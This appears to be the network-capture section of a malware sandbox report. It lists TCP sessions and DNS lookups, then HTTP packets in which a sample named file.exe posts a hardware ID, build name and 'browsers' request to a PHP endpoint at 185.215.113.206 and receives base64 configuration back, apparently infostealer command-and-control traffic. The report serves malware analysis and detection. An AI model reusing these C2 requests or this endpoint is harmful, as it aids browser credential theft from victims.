Oct 29, 2024 15:27:57.570717096 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.571028948 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.571044922 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.571054935 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.571059942 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.574350119 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.574364901 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.574457884 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.574599981 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.574609995 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.582216024 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.582669973 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.582690001 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.583272934 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.583283901 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.597852945 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.598505974 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.598522902 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.599081993 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.599100113 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.643357038 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.643451929 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.643589020 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.643805981 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.643847942 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.643901110 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.643937111 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.648032904 CET	50077	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.648077011 CET	443	50077	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.648454905 CET	50077	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.648454905 CET	50077	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.648492098 CET	443	50077	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.724143028 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.724304914 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.724445105 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.724553108 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.724553108 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.724570036 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.724591017 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.727399111 CET	50078	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.727421999 CET	443	50078	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.727693081 CET	50078	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.727931023 CET	50078	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.727945089 CET	443	50078	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.795176029 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.795706034 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.795813084 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.795813084 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.795909882 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.795932055 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.798788071 CET	50079	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.798815012 CET	443	50079	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.799031973 CET	50079	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.799318075 CET	50079	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.799328089 CET	443	50079	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.951941013 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.953649998 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.953665018 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.954010963 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.957578897 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.957650900 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.957849026 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.997298956 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.997312069 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086579084 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086616039 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086625099 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086683989 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.086700916 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086718082 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.086756945 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.087836027 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.087856054 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.094381094 CET	50080	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.094418049 CET	443	50080	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.094525099 CET	50080	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.094748020 CET	50080	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:58.094763041 CET	443	50080	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:58.267813921 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.268573046 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.268618107 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.269016981 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.269023895 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.339219093 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.339888096 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.339919090 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.340380907 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.340388060 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.375921965 CET	443	50077	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.399199009 CET	50077	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.399239063 CET	443	50077	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.399709940 CET	50077	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.399717093 CET	443	50077	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.411712885 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.411742926 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.411796093 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.411849022 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.413522959 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.413548946 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.413564920 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.413572073 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.429214001 CET	50081	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.429266930 CET	443	50081	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.429327965 CET	50081	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.429583073 CET	50081	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.429595947 CET	443	50081	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.465884924 CET	443	50078	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.466700077 CET	50078	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.466732025 CET	443	50078	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.467291117 CET	50078	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.467303991 CET	443	50078	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.470587969 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.470716953 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.470829010 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.470905066 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.470920086 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.470930099 CET	50076	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.470936060 CET	443	50076	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:58.474078894 CET	50082	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:58.474123955 CET	443	50082	13.107.246.45	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 15:27:24.948704958 CET	192.168.2.6	1.1.1.1	0x9a05	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:24.948854923 CET	192.168.2.6	1.1.1.1	0xff76	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:28.527981043 CET	192.168.2.6	1.1.1.1	0xc678	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:28.528143883 CET	192.168.2.6	1.1.1.1	0xc4e2	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:29.536745071 CET	192.168.2.6	1.1.1.1	0xf545	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:29.537183046 CET	192.168.2.6	1.1.1.1	0xa01a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:38.178092957 CET	192.168.2.6	1.1.1.1	0xbad0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:38.178364038 CET	192.168.2.6	1.1.1.1	0xa0ad	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:40.366396904 CET	192.168.2.6	1.1.1.1	0x7158	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:40.366806030 CET	192.168.2.6	1.1.1.1	0x10d5	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 29, 2024 15:27:40.469935894 CET	192.168.2.6	1.1.1.1	0x2c58	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:40.470194101 CET	192.168.2.6	1.1.1.1	0x3670	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:41.687895060 CET	192.168.2.6	1.1.1.1	0x4e62	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.688019991 CET	192.168.2.6	1.1.1.1	0xb881	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:41.697276115 CET	192.168.2.6	1.1.1.1	0x9cda	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.697503090 CET	192.168.2.6	1.1.1.1	0x7caa	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:41.701174974 CET	192.168.2.6	1.1.1.1	0x56b1	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.701651096 CET	192.168.2.6	1.1.1.1	0xc21a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:41.713608027 CET	192.168.2.6	1.1.1.1	0x3625	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.713880062 CET	192.168.2.6	1.1.1.1	0xae80	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:42.890208006 CET	192.168.2.6	1.1.1.1	0x164c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.890367031 CET	192.168.2.6	1.1.1.1	0x6047	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:42.890661955 CET	192.168.2.6	1.1.1.1	0xc58	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.890762091 CET	192.168.2.6	1.1.1.1	0x9ce2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 15:27:42.902064085 CET	192.168.2.6	1.1.1.1	0x9833	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.902214050 CET	192.168.2.6	1.1.1.1	0x3d8a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 15:27:07.750602961 CET	1.1.1.1	192.168.2.6	0xa7de	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:07.750602961 CET	1.1.1.1	192.168.2.6	0xa7de	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:24.956331968 CET	1.1.1.1	192.168.2.6	0x9a05	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:24.956656933 CET	1.1.1.1	192.168.2.6	0xff76	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 15:27:28.537218094 CET	1.1.1.1	192.168.2.6	0xc4e2	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:28.538244963 CET	1.1.1.1	192.168.2.6	0xc678	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:28.538244963 CET	1.1.1.1	192.168.2.6	0xc678	No error (0)	plus.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:29.545573950 CET	1.1.1.1	192.168.2.6	0xf545	No error (0)	play.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:38.185348988 CET	1.1.1.1	192.168.2.6	0xbad0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:38.186124086 CET	1.1.1.1	192.168.2.6	0xa0ad	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:40.375936985 CET	1.1.1.1	192.168.2.6	0x10d5	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:40.375946999 CET	1.1.1.1	192.168.2.6	0x7158	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:40.477178097 CET	1.1.1.1	192.168.2.6	0x2c58	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:40.477178097 CET	1.1.1.1	192.168.2.6	0x2c58	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.193	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:40.478543043 CET	1.1.1.1	192.168.2.6	0x3670	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.695262909 CET	1.1.1.1	192.168.2.6	0x4e62	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.695262909 CET	1.1.1.1	192.168.2.6	0x4e62	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.695262909 CET	1.1.1.1	192.168.2.6	0x4e62	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.695262909 CET	1.1.1.1	192.168.2.6	0x4e62	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:41.705416918 CET	1.1.1.1	192.168.2.6	0x9cda	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.705775976 CET	1.1.1.1	192.168.2.6	0x7caa	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.708511114 CET	1.1.1.1	192.168.2.6	0x56b1	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.709165096 CET	1.1.1.1	192.168.2.6	0xc21a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.721788883 CET	1.1.1.1	192.168.2.6	0xae80	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:41.722008944 CET	1.1.1.1	192.168.2.6	0x3625	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:42.003856897 CET	1.1.1.1	192.168.2.6	0xb209	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:42.003856897 CET	1.1.1.1	192.168.2.6	0xb209	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.005194902 CET	1.1.1.1	192.168.2.6	0x7b1f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:42.897840023 CET	1.1.1.1	192.168.2.6	0x164c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.897840023 CET	1.1.1.1	192.168.2.6	0x164c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.897943974 CET	1.1.1.1	192.168.2.6	0xc58	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.897943974 CET	1.1.1.1	192.168.2.6	0xc58	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.897954941 CET	1.1.1.1	192.168.2.6	0x9ce2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 15:27:42.898288012 CET	1.1.1.1	192.168.2.6	0x6047	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 15:27:42.909950972 CET	1.1.1.1	192.168.2.6	0x9833	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.909950972 CET	1.1.1.1	192.168.2.6	0x9833	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 15:27:42.909965038 CET	1.1.1.1	192.168.2.6	0x3d8a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 15:27:43.023729086 CET	1.1.1.1	192.168.2.6	0xdff7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 15:27:43.023729086 CET	1.1.1.1	192.168.2.6	0xdff7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49742	185.215.113.206	80	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 15:27:15.511428118 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 15:27:16.429712057 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:16.436638117 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 41 36 43 37 44 32 44 36 42 35 32 37 33 30 30 35 37 33 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="hwid"9BA6C7D2D6B52730057325------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="build"tale------GDGIJECGDGCBKECAKFBG--
Oct 29, 2024 15:27:16.734476089 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 51 31 4d 6a 45 32 4d 44 51 32 4d 7a 49 78 4d 44 51 30 4e 57 51 30 5a 6d 59 31 59 57 49 79 4e 32 4e 6d 4d 44 41 34 4e 44 5a 6b 5a 6d 51 33 5a 54 4d 35 4f 44 55 33 4e 6d 46 6d 59 32 56 6c 4e 6a 46 68 4e 44 56 6b 5a 6a 45 7a 59 6a 55 30 4e 6a 42 6c 4e 7a 45 79 5a 57 49 33 4f 57 52 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzQ1MjE2MDQ2MzIxMDQ0NWQ0ZmY1YWIyN2NmMDA4NDZkZmQ3ZTM5ODU3NmFmY2VlNjFhNDVkZjEzYjU0NjBlNzEyZWI3OWRmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 15:27:16.735743999 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"browsers------BGDAAKJJDAAKFHJKJKFC--
Oct 29, 2024 15:27:18.067951918 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: 